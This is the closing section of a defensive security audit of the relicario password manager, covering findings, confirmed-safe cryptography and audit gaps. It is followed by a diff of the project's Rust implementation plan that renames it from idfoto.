**Issue:** `rpassword 5.0.1` predates several documented platform handling fixes (Windows console, terminal-restoration on signal). The current crate is at 7.x. `prompt_password_stderr` was removed; use `prompt_password` and pipe it to stderr separately, or call `rpassword::prompt_password_from_bufread` for testability. Stale dep is a supply-chain hygiene issue and may carry unfixed terminal-restoration bugs that leave the TTY in no-echo mode if the user Ctrl-C's mid-prompt.
**Remediation:** Bump to `rpassword = "7"` and adapt the call sites.
---
### H8. Service worker keeps `apiToken` in `chrome.storage.local` in plaintext alongside the unencrypted reference image
**File:** `extension/src/service-worker/index.ts:67-75, 313-318`.
**Issue:** `vaultConfig.apiToken` (Gitea/GitHub PAT with full Contents read+write) and `imageBase64` (the reference image with the embedded image_secret) live unencrypted in `chrome.storage.local`. Per spec, "the image bytes never leave the device" — true — but anyone with read access to the user's Chrome profile (on disk: `~/.config/google-chrome/Default/Local Extension Settings/<extension-id>/`) gets both the PAT (full git push access to the vault repo) and the image (factor #2). Combine that with C1's "swap" attack and the threat model's "Stolen device" adversary loses the image_secret to an offline attacker the moment the disk is read.
The spec says this is "acceptable" and that the reference image is supposed to live in chrome.storage.local. But the spec does not say the API token also lives there. The PAT is a separate secret with its own threat model — leaking it gives an attacker push access to overwrite the encrypted vault (denial of service or rollback to stale ciphertext).
**Why it matters:** chrome.storage.local is plain JSON on disk on most platforms. No OS-keystore integration. The spec's "Stolen device" mitigation depends on Argon2id-protected master key — the PAT bypasses that entirely.
**Remediation:**
1. Document explicitly in the README/spec that anyone with filesystem access to the browser profile owns both the image_secret and write access to the git repo — and that the user's only remaining defense is the passphrase via Argon2id.
2. Consider scoping the PAT more tightly (Contents-only on a single repo path, no other API surface). The setup wizard's instructions already point at fine-grained PATs for GitHub — emphasize this.
3. Long-term: integrate with browser identity / cookie-based auth instead of long-lived PATs, or push the PAT into an OS keychain via a companion native messaging host (out of scope for V1).
---
## MEDIUM
### M1. `read_block` panics on out-of-bounds via `read_block_abs(...).unwrap()`
`crates/relicario-core/src/imgsecret.rs:252-256`. Future block-selection changes could panic at runtime; in WASM this aborts the whole service worker. Return `Result` and propagate, or `debug_assert!`.
### M2. `bits_to_bytes` length not validated in `try_extract_with_layout`
`crates/relicario-core/src/imgsecret.rs:765-768`. `secret.copy_from_slice(&result_bytes[..32])` panics if `result_bytes.len() < 32`. Add `debug_assert_eq!` and prefer `try_into()`.
### M3. `extract_with_crop_recovery` has unbounded compute for attacker-controlled JPEG dimensions
`crates/relicario-core/src/imgsecret.rs:784-833`. A 32000×32000 attacker-supplied JPEG can wedge the service worker for tens of seconds. Cap `MAX_DIMENSION` (e.g. 10000 px) and peek dimensions before full decode.
### M4. `decrypt` error path leaks coarse timing about which validation failed first
`crates/relicario-core/src/crypto.rs:115-141`. Not exploitable today (only attacker-supplied ciphertexts are the user's own files). If a "share an entry" feature lands, this becomes a side channel. Consider returning `RelicarioError::Decrypt` for all failure modes.
### M5. `chrome.tabs.sendMessage` in fill_credentials sends to currently-active tab without verifying the tab matches the entry's origin
`extension/src/service-worker/index.ts:334-346`. If the user switches tabs between opening the popup and pressing `f`, credentials go to the new tab. Capture `(tab.id, tab.url)` when popup opens.
### M6. CLI clipboard clear is best-effort and racy
`crates/relicario-cli/src/main.rs:565-585`. The 30s clear thread holds a *clone* of the plaintext password for 30 seconds and won't clear if user copies anything else and back. Always clear unconditionally; wrap in `Zeroizing<String>`.
### M7. CLI prints the full password to stdout via `println!`
`crates/relicario-cli/src/main.rs:553`. `relicario get` prints `"Password: <plaintext>"` to stdout — ends up in scrollback, `script` transcripts, tmux capture, pipes. Show `********` by default; require `--show` flag.
### M8. CLI generates entry IDs with only 32 bits of randomness; 8-char hex collisions are realistic
`crates/relicario-core/src/entry.rs:159-163`. Birthday-bound: ~65k entries gives ~50% collision; `manifest.add_entry` silently overwrites. Bump to 16-char hex (64 bits), or check before write.
### M9. WASM TOTP code has no guard against `result[offset + 3]` index when HMAC output is exactly 20 bytes
`crates/relicario-wasm/src/lib.rs:227-232`. Safe today (HMAC-SHA1 is always 20 bytes, max offset is 15). Add `debug_assert_eq!(result.len(), 20)` for future-proofing.
### M10. `setup-wizard.ts` opens a new tab, but `window.close()` is no-op if popup is not in popup context
`extension/src/popup/components/setup-wizard.ts:27-30`. Minor.
### M11. CLI `now_iso8601` returns Unix seconds but the field is named `iso8601` and the spec promises ISO 8601 formatting
`crates/relicario-cli/src/main.rs:263-268`. Function name lies; consumers may parse timestamps and silently mishandle a numeric value. Either rename or use chrono/jiff.
### M12. `arboard 3` carries platform-dependent behavior; password may persist after `set_text("")` on Linux X11
`crates/relicario-cli/src/main.rs:572-579`. Document Linux limitations.
---
## LOW / INFORMATIONAL
- **L1.** Dead-code-allowed fields in `EmbedRegion` (`crates/relicario-core/src/imgsecret.rs:163, 166`).
- **L2.** `RelicarioError::Format` exposes the offending version byte in user-facing error string. Minor info disclosure.
- **L3.** Capture flow's `check_credential` decrypts every candidate entry on every form submit (`index.ts:421-423`). Cache password hash, not password.
- **L4.** `popup.ts:16-20` `setState` triggers full re-render every state change — in-flight async responses can race and double-fire.
- **L5.** Chrome MV3 manifest CSP includes `'wasm-unsafe-eval'` — required but document why.
- **L6.** `git-host.ts:27` uses `String.fromCharCode(bytes[i])` for base64 — vulnerable to memory pressure with large reference images. Use chunked or `FileReader`.
- **L7.** `Cargo.toml` allows wide major-version ranges. No `cargo audit` / `cargo deny` config in repo.
- **L8.** CLI `vault_dir()` silently returns `current_dir()` — `relicario add` in `/home` will start writing files there. Detect missing `.relicario/` and bail.
- **L9.** `devices.json` initial write differs between CLI (`"[]"`) and extension (`'{"devices":[]}'`). Schema mismatch.
- **L10.** `totpSecretCache` (`Map<string, string>` of plaintext base32 secrets) has no zeroization — note that JS strings can't be zeroized.
- **L11.** `escapeHtml` at `popup.ts:16-20` doesn't escape `'` (single quote). Codebase uses double quotes for attributes, so currently safe but fragile.
- **L12.** Service worker unlock path doesn't validate salt/params length before passing to WASM. Add explicit length checks at JS boundary.
---
## CONFIRMED-SAFE
These primitives and parameters are correctly used and do **not** need further worry:
1. **XChaCha20-Poly1305** via `chacha20poly1305 = "0.10.1"` (RustCrypto). Correct AEAD usage; 24-byte nonce generated fresh from `OsRng` per encryption (`crypto.rs:79-100`).
2. **Argon2id** via `argon2 = "0.5.3"`. Correct algorithm/version (`Algorithm::Argon2id, Version::V0x13`), output length 32. Defaults of m=64MiB, t=3, p=4 within OWASP 2024 recommendations (`crypto.rs:211-235`).
3. **OsRng** used for: master_key salt (`main.rs:368-369`), image_secret in CLI (`main.rs:339-340`), nonces (`crypto.rs:85-87`), ed25519 device keys (`main.rs:794`).
4. **`crypto.getRandomValues`** in setup wizard for image_secret + salt (`setup.ts:383-393`).
5. **ed25519-dalek 2.2.0** with `rand_core` — modern strict-verification version.
6. **TOTP / RFC 6238** in WASM is correct; unit tests exercise published RFC test vectors (`wasm/lib.rs:280-301`).
7. **AEAD failure → opaque `RelicarioError::Decrypt`** with generic message ("wrong key or corrupted data"). Avoids leaking which factor is wrong (`error.rs:33`, `crypto.rs:138`).
8. **Version byte (0x01)** at start of every ciphertext blob with rejection of unknown versions.
9. **Two-factor independence** verified by `tests/integration.rs:120-153`.
10. **DCT round-trip correctness** verified to 1e-6 tolerance.
11. **`escapeHtml` via textContent round-trip** correctly defangs `<`, `>`, `&` for content insertion (caveat L11).
12. **Manifest schema migration** for the new `group` field handles old records cleanly via `serde(skip_serializing_if = "Option::is_none")`.
13. **CSP `script-src 'self' 'wasm-unsafe-eval'; object-src 'self'`** is tight: no `unsafe-inline`, no remote scripts.
14. **CLI device key file permissions 0600 on Unix** (`main.rs:809-813`).
---
## WIDER AUDIT GAPS (out of scope for this static review)
1. **Empirical robustness of imgsecret claims (Q85, 10% crop, etc.).** Tests cover one synthetic JPEG. Real social-media JPEGs go through chroma subsampling at 4:2:0, EXIF orientation flips, ICC profile re-encoding, platform-specific quantization tables. Needs a fuzz battery against actual platform upload-download round trips.
2. **WASM linear-memory inspection.** Bytes copied between Rust and JS via wasm-bindgen are reachable from JS for the lifetime of the process. A DevTools heap snapshot of the SW after unlock would confirm whether master_key bytes are visible from JS.
3. **Side-channel timing of Argon2id.** The `argon2` crate's `hash_password_into` is data-independent. No issue suspected; constant-time-test harness would confirm.
4. **Browser extension fuzzing for malicious page interaction.** Capture/autofill/prompt rendering need exercise against a hostile page with full DOM control.
5. **Cargo Audit / Cargo Deny.** Run `cargo audit` against the lockfile; `image 0.25.10` and transitive image-codec deps have had a steady stream of CVEs.
6. **MV3 service worker idle-suspend behavior.** When SW is suspended, `masterKey` is freed — good. But verify Chrome doesn't serialize SW storage of `masterKey` for resume.
7. **Git transport security.** Whether the user's git config validates SSH host keys, uses HTTPS with cert pinning, etc., is outside static review.
8. **Recovery flow.** Not yet implemented; needs its own audit when it lands.
---
## Summary
relicario's *core cryptography* is solid: correct AEAD, correct KDF parameters, real two-factor key derivation. The bugs are concentrated in the *extension boundary* and the *plumbing around the crypto*: the setup wizard is web-accessible without sender checks (C1), the message router trusts every caller (C2), capture and autofill have no origin discipline (C3, C4), the WASM password generator is non-cryptographic (H5), and master-key/passphrase memory hygiene is absent (H2).
**C1C4 together are exploitable end-to-end and should be treated as release blockers.** H1H8 should land before any tagged 1.0; M-class items can be batched into hardening PRs.

View File

@@ -1,46 +1,46 @@
# idfoto Core + CLI Implementation Plan
# relicario Core + CLI Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Build a working git-backed password manager with a Rust core library and CLI that can create vaults, add/get/list/edit/rm credentials, sync via git, and manage device keys — all backed by the reference-image + passphrase two-factor KDF.
**Architecture:** Cargo workspace with two crates: `idfoto-core` (platform-agnostic library — KDF, AEAD, vault format, imgsecret DCT embedding) and `idfoto-cli` (filesystem, git, terminal I/O). The core takes bytes and returns bytes; the CLI handles all platform interaction. TDD throughout.
**Architecture:** Cargo workspace with two crates: `relicario-core` (platform-agnostic library — KDF, AEAD, vault format, imgsecret DCT embedding) and `relicario-cli` (filesystem, git, terminal I/O). The core takes bytes and returns bytes; the CLI handles all platform interaction. TDD throughout.
**Tech Stack:** Rust (stable, 2021 edition), argon2, chacha20poly1305, image, serde/serde_json, clap, ed25519-dalek
**Scope:** This is Plan 1 of 2. This plan covers `idfoto-core` and `idfoto-cli`. Plan 2 (idfoto-wasm + Chrome extension) follows after this is working. This plan produces a complete, usable CLI password manager.
**Scope:** This is Plan 1 of 2. This plan covers `relicario-core` and `relicario-cli`. Plan 2 (relicario-wasm + Chrome extension) follows after this is working. This plan produces a complete, usable CLI password manager.
**Prerequisites:** Rust stable installed via `rustup`. Git installed. A test JPEG image (any cell phone photo) available for manual testing.
**Design spec:** `docs/superpowers/specs/2026-04-11-idfoto-design.md`
**Design spec:** `docs/superpowers/specs/2026-04-11-relicario-design.md`
---
## File Structure
```
idfoto/ (project root = /home/alee/Sources/axsbadge.me)
relicario/ (project root = /home/alee/Sources/relicario)
├── Cargo.toml # workspace root
├── crates/
│ ├── idfoto-core/
│ ├── relicario-core/
│ │ ├── Cargo.toml
│ │ └── src/
│ │ ├── lib.rs # re-exports public API
│ │ ├── error.rs # IdfotoError enum (thiserror)
│ │ ├── error.rs # RelicarioError enum (thiserror)
│ │ ├── crypto.rs # derive_master_key(), encrypt(), decrypt()
│ │ ├── entry.rs # Entry, ManifestEntry, Manifest structs
│ │ ├── vault.rs # encrypt/decrypt entries + manifest, binary format
│ │ └── imgsecret.rs # embed(), extract() — DCT embedding primitive
│ └── idfoto-cli/
│ └── relicario-cli/
│ ├── Cargo.toml
│ └── src/
│ └── main.rs # clap CLI with all subcommands
├── docs/
│ └── superpowers/
│ ├── specs/
│ │ └── 2026-04-11-idfoto-design.md
│ │ └── 2026-04-11-relicario-design.md
│ └── plans/
│ └── 2026-04-11-idfoto-core-cli.md (this file)
│ └── 2026-04-11-relicario-core-cli.md (this file)
└── README.md
```
@@ -50,10 +50,10 @@ idfoto/ (project root = /home/alee/Sources/axsbadge
**Files:**
- Create: `Cargo.toml`
- Create: `crates/idfoto-core/Cargo.toml`
- Create: `crates/idfoto-core/src/lib.rs`
- Create: `crates/idfoto-cli/Cargo.toml`
- Create: `crates/idfoto-cli/src/main.rs`
- Create: `crates/relicario-core/Cargo.toml`
- Create: `crates/relicario-core/src/lib.rs`
- Create: `crates/relicario-cli/Cargo.toml`
- Create: `crates/relicario-cli/src/main.rs`
- [ ] **Step 1: Create workspace root Cargo.toml**
@@ -62,20 +62,20 @@ idfoto/ (project root = /home/alee/Sources/axsbadge
[workspace]
resolver = "2"
members = [
"crates/idfoto-core",
"crates/idfoto-cli",
"crates/relicario-core",
"crates/relicario-cli",
]
```
- [ ] **Step 2: Create idfoto-core crate**
- [ ] **Step 2: Create relicario-core crate**
```toml
# crates/idfoto-core/Cargo.toml
# crates/relicario-core/Cargo.toml
[package]
name = "idfoto-core"
name = "relicario-core"
version = "0.1.0"
edition = "2021"
description = "Core library for idfoto password manager"
description = "Core library for relicario password manager"
[dependencies]
thiserror = "2"
@@ -92,26 +92,26 @@ image = { version = "0.25", default-features = false, features = ["jpeg"] }
```
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod error;
```
- [ ] **Step 3: Create idfoto-cli crate**
- [ ] **Step 3: Create relicario-cli crate**
```toml
# crates/idfoto-cli/Cargo.toml
# crates/relicario-cli/Cargo.toml
[package]
name = "idfoto-cli"
name = "relicario-cli"
version = "0.1.0"
edition = "2021"
description = "CLI for idfoto password manager"
description = "CLI for relicario password manager"
[[bin]]
name = "idfoto"
name = "relicario"
path = "src/main.rs"
[dependencies]
idfoto-core = { path = "../idfoto-core" }
relicario-core = { path = "../relicario-core" }
clap = { version = "4", features = ["derive"] }
anyhow = "1"
rpassword = "5"
@@ -120,9 +120,9 @@ dirs = "5"
```
```rust
// crates/idfoto-cli/src/main.rs
// crates/relicario-cli/src/main.rs
fn main() {
println!("idfoto v0.1.0");
println!("relicario v0.1.0");
}
```
@@ -138,7 +138,7 @@ git init
echo "target/" > .gitignore
echo ".superpowers/" >> .gitignore
git add Cargo.toml crates/ .gitignore docs/
git commit -m "feat: scaffold Cargo workspace with idfoto-core and idfoto-cli"
git commit -m "feat: scaffold Cargo workspace with relicario-core and relicario-cli"
```
---
@@ -146,17 +146,17 @@ git commit -m "feat: scaffold Cargo workspace with idfoto-core and idfoto-cli"
### Task 2: Error Types
**Files:**
- Create: `crates/idfoto-core/src/error.rs`
- Modify: `crates/idfoto-core/src/lib.rs`
- Create: `crates/relicario-core/src/error.rs`
- Modify: `crates/relicario-core/src/lib.rs`
- [ ] **Step 1: Write the error enum**
```rust
// crates/idfoto-core/src/error.rs
// crates/relicario-core/src/error.rs
use thiserror::Error;
#[derive(Debug, Error)]
pub enum IdfotoError {
pub enum RelicarioError {
#[error("key derivation failed: {0}")]
Kdf(String),
@@ -193,16 +193,16 @@ pub enum IdfotoError {
DeviceKey(String),
}
pub type Result<T> = std::result::Result<T, IdfotoError>;
pub type Result<T> = std::result::Result<T, RelicarioError>;
```
- [ ] **Step 2: Update lib.rs to re-export**
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod error;
pub use error::{IdfotoError, Result};
pub use error::{RelicarioError, Result};
```
- [ ] **Step 3: Verify build**
@@ -213,8 +213,8 @@ Expected: Compiles cleanly.
- [ ] **Step 4: Commit**
```bash
git add crates/idfoto-core/src/error.rs crates/idfoto-core/src/lib.rs
git commit -m "feat: add IdfotoError enum with thiserror"
git add crates/relicario-core/src/error.rs crates/relicario-core/src/lib.rs
git commit -m "feat: add RelicarioError enum with thiserror"
```
---
@@ -222,13 +222,13 @@ git commit -m "feat: add IdfotoError enum with thiserror"
### Task 3: Crypto — Key Derivation
**Files:**
- Create: `crates/idfoto-core/src/crypto.rs`
- Modify: `crates/idfoto-core/src/lib.rs`
- Create: `crates/relicario-core/src/crypto.rs`
- Modify: `crates/relicario-core/src/lib.rs`
- [ ] **Step 1: Write the failing test**
```rust
// crates/idfoto-core/src/crypto.rs
// crates/relicario-core/src/crypto.rs
// ... (implementation comes in step 3)
@@ -274,17 +274,17 @@ mod tests {
- [ ] **Step 2: Run test to verify it fails**
Run: `cargo test -p idfoto-core derive_master_key`
Run: `cargo test -p relicario-core derive_master_key`
Expected: FAIL — `derive_master_key` and `KdfParams` not defined.
- [ ] **Step 3: Write the implementation**
```rust
// crates/idfoto-core/src/crypto.rs
// crates/relicario-core/src/crypto.rs
use argon2::{Algorithm, Argon2, Params, Version};
use crate::error::{IdfotoError, Result};
use crate::error::{RelicarioError, Result};
/// Argon2id tuning parameters. Stored in .idfoto/params.json.
/// Argon2id tuning parameters. Stored in .relicario/params.json.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct KdfParams {
/// Memory cost in KiB (default: 65536 = 64 MiB)
@@ -308,7 +308,7 @@ impl Default for KdfParams {
/// Derive a 32-byte master key from passphrase + image_secret + salt.
///
/// password = passphrase_bytes || image_secret_bytes (concatenated)
/// salt = vault_salt (32 bytes from .idfoto/salt)
/// salt = vault_salt (32 bytes from .relicario/salt)
pub fn derive_master_key(
passphrase: &[u8],
image_secret: &[u8; 32],
@@ -326,14 +326,14 @@ pub fn derive_master_key(
params.argon2_p,
Some(32),
)
.map_err(|e| IdfotoError::Kdf(e.to_string()))?;
.map_err(|e| RelicarioError::Kdf(e.to_string()))?;
let argon2 = Argon2::new(Algorithm::Argon2id, Version::V0x13, argon2_params);
let mut output = [0u8; 32];
argon2
.hash_password_into(&password, salt, &mut output)
.map_err(|e| IdfotoError::Kdf(e.to_string()))?;
.map_err(|e| RelicarioError::Kdf(e.to_string()))?;
Ok(output)
}
@@ -389,24 +389,24 @@ mod tests {
- [ ] **Step 4: Run tests**
Run: `cargo test -p idfoto-core derive_master_key`
Run: `cargo test -p relicario-core derive_master_key`
Expected: All 3 tests PASS.
- [ ] **Step 5: Update lib.rs**
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod crypto;
pub mod error;
pub use crypto::{derive_master_key, KdfParams};
pub use error::{IdfotoError, Result};
pub use error::{RelicarioError, Result};
```
- [ ] **Step 6: Commit**
```bash
git add crates/idfoto-core/src/
git add crates/relicario-core/src/
git commit -m "feat: add Argon2id key derivation with tests"
```
@@ -415,11 +415,11 @@ git commit -m "feat: add Argon2id key derivation with tests"
### Task 4: Crypto — Encrypt / Decrypt
**Files:**
- Modify: `crates/idfoto-core/src/crypto.rs`
- Modify: `crates/relicario-core/src/crypto.rs`
- [ ] **Step 1: Write the failing tests**
Add to `crates/idfoto-core/src/crypto.rs` inside the `mod tests` block:
Add to `crates/relicario-core/src/crypto.rs` inside the `mod tests` block:
```rust
#[test]
@@ -471,12 +471,12 @@ Add to `crates/idfoto-core/src/crypto.rs` inside the `mod tests` block:
- [ ] **Step 2: Run tests to verify they fail**
Run: `cargo test -p idfoto-core encrypt`
Run: `cargo test -p relicario-core encrypt`
Expected: FAIL — `encrypt` and `decrypt` not defined.
- [ ] **Step 3: Write the implementation**
Add to `crates/idfoto-core/src/crypto.rs`, above the `#[cfg(test)]` block:
Add to `crates/relicario-core/src/crypto.rs`, above the `#[cfg(test)]` block:
```rust
use chacha20poly1305::{
@@ -503,7 +503,7 @@ pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
let ciphertext = cipher
.encrypt(nonce, plaintext)
.map_err(|_| IdfotoError::Encrypt("XChaCha20-Poly1305 encryption failed".into()))?;
.map_err(|_| RelicarioError::Encrypt("XChaCha20-Poly1305 encryption failed".into()))?;
let mut output = Vec::with_capacity(1 + NONCE_SIZE + ciphertext.len());
output.push(FORMAT_VERSION);
@@ -518,7 +518,7 @@ pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
let min_len = 1 + NONCE_SIZE + 16; // version + nonce + tag (empty plaintext)
if data.len() < min_len {
return Err(IdfotoError::Format(format!(
return Err(RelicarioError::Format(format!(
"ciphertext too short: {} bytes, need at least {}",
data.len(),
min_len
@@ -527,7 +527,7 @@ pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
let version = data[0];
if version != FORMAT_VERSION {
return Err(IdfotoError::Format(format!(
return Err(RelicarioError::Format(format!(
"unsupported format version: {version}"
)));
}
@@ -538,7 +538,7 @@ pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
let cipher = XChaCha20Poly1305::new(key.into());
cipher
.decrypt(nonce, ciphertext)
.map_err(|_| IdfotoError::Decrypt)
.map_err(|_| RelicarioError::Decrypt)
}
```
@@ -557,24 +557,24 @@ use rand::RngCore;
- [ ] **Step 5: Run all crypto tests**
Run: `cargo test -p idfoto-core`
Run: `cargo test -p relicario-core`
Expected: All tests PASS (3 KDF tests + 4 encrypt/decrypt tests).
- [ ] **Step 6: Update lib.rs exports**
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod crypto;
pub mod error;
pub use crypto::{derive_master_key, encrypt, decrypt, KdfParams};
pub use error::{IdfotoError, Result};
pub use error::{RelicarioError, Result};
```
- [ ] **Step 7: Commit**
```bash
git add crates/idfoto-core/src/
git add crates/relicario-core/src/
git commit -m "feat: add XChaCha20-Poly1305 encrypt/decrypt with binary format"
```
@@ -583,13 +583,13 @@ git commit -m "feat: add XChaCha20-Poly1305 encrypt/decrypt with binary format"
### Task 5: Entry & Manifest Data Model
**Files:**
- Create: `crates/idfoto-core/src/entry.rs`
- Modify: `crates/idfoto-core/src/lib.rs`
- Create: `crates/relicario-core/src/entry.rs`
- Modify: `crates/relicario-core/src/lib.rs`
- [ ] **Step 1: Write tests for serialization**
```rust
// crates/idfoto-core/src/entry.rs
// crates/relicario-core/src/entry.rs
// ... (implementation in step 3)
@@ -663,13 +663,13 @@ mod tests {
- [ ] **Step 2: Run tests to verify they fail**
Run: `cargo test -p idfoto-core entry`
Run: `cargo test -p relicario-core entry`
Expected: FAIL — types not defined.
- [ ] **Step 3: Write the implementation**
```rust
// crates/idfoto-core/src/entry.rs
// crates/relicario-core/src/entry.rs
use rand::Rng;
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
@@ -850,25 +850,25 @@ mod tests {
- [ ] **Step 4: Update lib.rs**
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod crypto;
pub mod entry;
pub mod error;
pub use crypto::{derive_master_key, decrypt, encrypt, KdfParams};
pub use entry::{generate_entry_id, Entry, Manifest, ManifestEntry};
pub use error::{IdfotoError, Result};
pub use error::{RelicarioError, Result};
```
- [ ] **Step 5: Run tests**
Run: `cargo test -p idfoto-core entry`
Run: `cargo test -p relicario-core entry`
Expected: All 5 entry tests PASS.
- [ ] **Step 6: Commit**
```bash
git add crates/idfoto-core/src/
git add crates/relicario-core/src/
git commit -m "feat: add Entry, Manifest, ManifestEntry data model with serde"
```
@@ -877,13 +877,13 @@ git commit -m "feat: add Entry, Manifest, ManifestEntry data model with serde"
### Task 6: Vault Operations
**Files:**
- Create: `crates/idfoto-core/src/vault.rs`
- Modify: `crates/idfoto-core/src/lib.rs`
- Create: `crates/relicario-core/src/vault.rs`
- Modify: `crates/relicario-core/src/lib.rs`
- [ ] **Step 1: Write failing tests**
```rust
// crates/idfoto-core/src/vault.rs
// crates/relicario-core/src/vault.rs
// ... (implementation in step 3)
@@ -955,13 +955,13 @@ mod tests {
- [ ] **Step 2: Run tests to verify they fail**
Run: `cargo test -p idfoto-core vault`
Run: `cargo test -p relicario-core vault`
Expected: FAIL — functions not defined.
- [ ] **Step 3: Write the implementation**
```rust
// crates/idfoto-core/src/vault.rs
// crates/relicario-core/src/vault.rs
use crate::crypto;
use crate::entry::{Entry, Manifest};
use crate::error::Result;
@@ -1061,7 +1061,7 @@ mod tests {
- [ ] **Step 4: Update lib.rs**
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod crypto;
pub mod entry;
pub mod error;
@@ -1069,19 +1069,19 @@ pub mod vault;
pub use crypto::{derive_master_key, decrypt, encrypt, KdfParams};
pub use entry::{generate_entry_id, Entry, Manifest, ManifestEntry};
pub use error::{IdfotoError, Result};
pub use error::{RelicarioError, Result};
pub use vault::{decrypt_entry, decrypt_manifest, encrypt_entry, encrypt_manifest};
```
- [ ] **Step 5: Run all tests**
Run: `cargo test -p idfoto-core`
Run: `cargo test -p relicario-core`
Expected: All tests PASS (KDF + encrypt/decrypt + entry + vault).
- [ ] **Step 6: Commit**
```bash
git add crates/idfoto-core/src/
git add crates/relicario-core/src/
git commit -m "feat: add vault encrypt/decrypt for entries and manifest"
```
@@ -1090,15 +1090,15 @@ git commit -m "feat: add vault encrypt/decrypt for entries and manifest"
### Task 7: imgsecret — JPEG Decode, Y Channel, Block DCT
**Files:**
- Create: `crates/idfoto-core/src/imgsecret.rs`
- Modify: `crates/idfoto-core/src/lib.rs`
- Create: `crates/relicario-core/src/imgsecret.rs`
- Modify: `crates/relicario-core/src/lib.rs`
This task builds the image-processing foundation. No embedding yet — just: load JPEG → extract luminance → divide into 8×8 blocks → DCT forward/inverse.
- [ ] **Step 1: Write tests for DCT round-trip and Y channel extraction**
```rust
// crates/idfoto-core/src/imgsecret.rs
// crates/relicario-core/src/imgsecret.rs
// ... (implementation in step 3)
@@ -1179,14 +1179,14 @@ mod tests {
- [ ] **Step 2: Run tests to verify they fail**
Run: `cargo test -p idfoto-core imgsecret`
Run: `cargo test -p relicario-core imgsecret`
Expected: FAIL — functions not defined.
- [ ] **Step 3: Write the implementation**
```rust
// crates/idfoto-core/src/imgsecret.rs
use crate::error::{IdfotoError, Result};
// crates/relicario-core/src/imgsecret.rs
use crate::error::{RelicarioError, Result};
use image::io::Reader as ImageReader;
use std::f64::consts::PI;
use std::io::Cursor;
@@ -1214,11 +1214,11 @@ pub struct EmbedRegion {
pub fn extract_y_channel(jpeg_bytes: &[u8]) -> Result<YChannel> {
let reader = ImageReader::new(Cursor::new(jpeg_bytes))
.with_guessed_format()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to read image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to read image: {e}")))?;
let img = reader
.decode()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to decode image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to decode image: {e}")))?;
let rgb = img.to_rgb8();
let (width, height) = (rgb.width() as usize, rgb.height() as usize);
@@ -1464,7 +1464,7 @@ mod tests {
- [ ] **Step 4: Update lib.rs**
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod crypto;
pub mod entry;
pub mod error;
@@ -1473,19 +1473,19 @@ pub mod vault;
pub use crypto::{derive_master_key, decrypt, encrypt, KdfParams};
pub use entry::{generate_entry_id, Entry, Manifest, ManifestEntry};
pub use error::{IdfotoError, Result};
pub use error::{RelicarioError, Result};
pub use vault::{decrypt_entry, decrypt_manifest, encrypt_entry, encrypt_manifest};
```
- [ ] **Step 5: Run tests**
Run: `cargo test -p idfoto-core imgsecret`
Run: `cargo test -p relicario-core imgsecret`
Expected: All 4 tests PASS.
- [ ] **Step 6: Commit**
```bash
git add crates/idfoto-core/src/
git add crates/relicario-core/src/
git commit -m "feat: add imgsecret JPEG decode, Y channel extraction, and 8x8 DCT"
```
@@ -1494,7 +1494,7 @@ git commit -m "feat: add imgsecret JPEG decode, Y channel extraction, and 8x8 DC
### Task 8: imgsecret — QIM Embedding + Block Selection
**Files:**
- Modify: `crates/idfoto-core/src/imgsecret.rs`
- Modify: `crates/relicario-core/src/imgsecret.rs`
This task adds QIM (Quantization Index Modulation) for embedding/extracting individual bits in DCT coefficients, and the fixed geometric pattern for selecting which blocks carry data.
@@ -1544,7 +1544,7 @@ Add to `mod tests` in `imgsecret.rs`:
- [ ] **Step 2: Run tests to verify they fail**
Run: `cargo test -p idfoto-core qim`
Run: `cargo test -p relicario-core qim`
Expected: FAIL — `qim_embed`, `qim_extract`, `select_embed_blocks`, `QUANT_STEP` not defined.
- [ ] **Step 3: Write QIM and block selection implementation**
@@ -1632,13 +1632,13 @@ pub fn select_embed_blocks(region: &EmbedRegion, target_count: usize) -> Vec<(us
- [ ] **Step 4: Run tests**
Run: `cargo test -p idfoto-core imgsecret`
Run: `cargo test -p relicario-core imgsecret`
Expected: All tests PASS (previous 4 + 3 new QIM/block-selection tests).
- [ ] **Step 5: Commit**
```bash
git add crates/idfoto-core/src/imgsecret.rs
git add crates/relicario-core/src/imgsecret.rs
git commit -m "feat: add QIM bit embedding and fixed-pattern block selection"
```
@@ -1647,7 +1647,7 @@ git commit -m "feat: add QIM bit embedding and fixed-pattern block selection"
### Task 9: imgsecret — Full embed() and extract()
**Files:**
- Modify: `crates/idfoto-core/src/imgsecret.rs`
- Modify: `crates/relicario-core/src/imgsecret.rs`
This is the main event: the public `embed()` and `extract()` functions with redundancy coding and majority voting. Reed-Solomon is added in Task 10.
@@ -1697,7 +1697,7 @@ Add `use rand::Fill;` at the top of the test module for the random fill.
- [ ] **Step 2: Run tests to verify they fail**
Run: `cargo test -p idfoto-core embed_extract`
Run: `cargo test -p relicario-core embed_extract`
Expected: FAIL — `embed` and `extract` not defined.
- [ ] **Step 3: Write embed() implementation**
@@ -1727,7 +1727,7 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
// Check minimum size
